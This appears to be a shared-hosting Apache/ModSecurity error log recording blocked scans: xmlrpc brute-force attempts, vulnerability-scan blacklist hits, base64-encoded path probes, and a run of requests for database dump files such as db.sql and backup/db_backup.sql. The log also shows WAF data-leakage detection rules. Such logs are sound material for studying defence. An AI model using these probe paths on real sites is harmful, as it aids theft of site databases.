https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:19:15.338272 2026] [security2:error] [pid 646876:tid 647013] [client 185.177.72.9:15664] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/lib/zend/tool/framework/system/provider/phpinfo.php"] [unique_id "ai3zg9yTkdrNlD40tSG5HQAAAAU"] [Sat Jun 13 18:19:15.351779 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.42:63578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:15.352069 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.42:63578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:15.557862 2026] [security2:error] [pid 648189:tid 648455] [client 172.56.168.133:31807] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zg1WSojQL4F7upKB3yQAAAOk"] [Sat Jun 13 18:19:15.558018 2026] [security2:error] [pid 648189:tid 648455] [client 172.56.168.133:31807] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zg1WSojQL4F7upKB3yQAAAOk"] [Sat Jun 13 18:19:15.659078 2026] [security2:error] [pid 646876:tid 646882] [remote 17.246.23.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zg9yTkdrNlD40tSG5IAAAAAM"] [Sat Jun 13 18:19:15.823573 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.94:56156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:15.824027 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.94:56156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:15.835713 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQx [Sat Jun 13 18:19:15.836123 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQx [Sat Jun 13 18:19:15.926577 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.11:26613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:15.927049 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.11:26613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:15.950578 2026] [security2:error] [pid 648189:tid 648440] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/tests/lang/string_decimals_001.phpt"] [unique_id "ai3zg1WSojQL4F7upKB31gAAANs"] [Sat Jun 13 18:19:16.021914 2026] [security2:error] [pid 648189:tid 648232] [remote 17.246.15.175:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zhFWSojQL4F7upKB32AAAvgw"] [Sat Jun 13 18:19:16.230421 2026] [lsapi:warn] [pid 646876:tid 646894] [remote 130.94.222.181:42147] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:19:16.230449 2026] [lsapi:warn] [pid 646876:tid 646894] [remote 130.94.222.181:42147] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:19:16.336814 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:16.337242 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:16.355805 2026] [security2:error] [pid 648189:tid 648477] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/db.sql"] [unique_id "ai3zhFWSojQL4F7upKB36QAAAPs"] [Sat Jun 13 18:19:16.458679 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.6:33952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:16.459135 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.6:33952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:16.493157 2026] [security2:error] [pid 648189:tid 648384] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/mysql.sql"] [unique_id "ai3zhFWSojQL4F7upKB38AAAAKQ"] [Sat Jun 13 18:19:16.606575 2026] [security2:error] [pid 648189:tid 648471] [client 210.217.96.217:53969] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zhFWSojQL4F7upKB39QAAAPU"] [Sat Jun 13 18:19:16.606731 2026] [security2:error] [pid 648189:tid 648471] [client 210.217.96.217:53969] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zhFWSojQL4F7upKB39QAAAPU"] [Sat Jun 13 18:19:16.629829 2026] [security2:error] [pid 648189:tid 648375] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/dump.sql"] [unique_id "ai3zhFWSojQL4F7upKB39wAAAJs"] [Sat Jun 13 18:19:16.765386 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/uploads/db.sql"] [unique_id "ai3zhFWSojQL4F7upKB3_gAAAQE"] [Sat Jun 13 18:19:16.767003 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.15:21325] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:16.767443 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.15:21325] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:16.880768 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:16.881211 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:16.908279 2026] [security2:error] [pid 648189:tid 648366] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/uploads/mysql.sql"] [unique_id "ai3zhFWSojQL4F7upKB4AwAAAJI"] [Sat Jun 13 18:19:16.930933 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.54:30283] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:16.931642 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.54:30283] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:17.045705 2026] [security2:error] [pid 648189:tid 648455] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backup/db.sql"] [unique_id "ai3zhVWSojQL4F7upKB4CwAAAOk"] [Sat Jun 13 18:19:17.047278 2026] [security2:error] [pid 648189:tid 648280] [remote 17.241.219.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zhVWSojQL4F7upKB4DAAAkTo"] [Sat Jun 13 18:19:17.167571 2026] [access_compat:error] [pid 646876:tid 647052] [client 66.249.75.132:61135] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:17.167925 2026] [access_compat:error] [pid 646876:tid 647052] [client 66.249.75.132:61135] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:17.182726 2026] [security2:error] [pid 648189:tid 648425] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backups/db.sql"] [unique_id "ai3zhVWSojQL4F7upKB4EgAAAMw"] [Sat Jun 13 18:19:17.317529 2026] [security2:error] [pid 648189:tid 648454] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/db_backup.sql"] [unique_id "ai3zhVWSojQL4F7upKB4FgAAAOg"] [Sat Jun 13 18:19:17.320292 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.31:62922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:17.320580 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.31:62922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:17.376590 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:19:17.377060 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:19:17.455935 2026] [security2:error] [pid 648189:tid 648465] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/uploads/db_backup.sql"] [unique_id "ai3zhVWSojQL4F7upKB4GwAAAO8"] [Sat Jun 13 18:19:17.593133 2026] [security2:error] [pid 648189:tid 648468] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backup/db_backup.sql"] [unique_id "ai3zhVWSojQL4F7upKB4IQAAAPI"] [Sat Jun 13 18:19:17.616082 2026] [security2:error] [pid 648189:tid 648267] [remote 17.22.245.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zhVWSojQL4F7upKB4JAAAjy0"] [Sat Jun 13 18:19:17.728293 2026] [security2:error] [pid 648189:tid 648433] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/fullbackup.sql"] [unique_id "ai3zhVWSojQL4F7upKB4KQAAANQ"] [Sat Jun 13 18:19:17.731210 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.63:46768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:17.731665 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.63:46768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:17.863370 2026] [security2:error] [pid 648189:tid 648416] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/fullwebsite.sql"] [unique_id "ai3zhVWSojQL4F7upKB4MgAAAMM"] [Sat Jun 13 18:19:17.901895 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:17.902382 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, 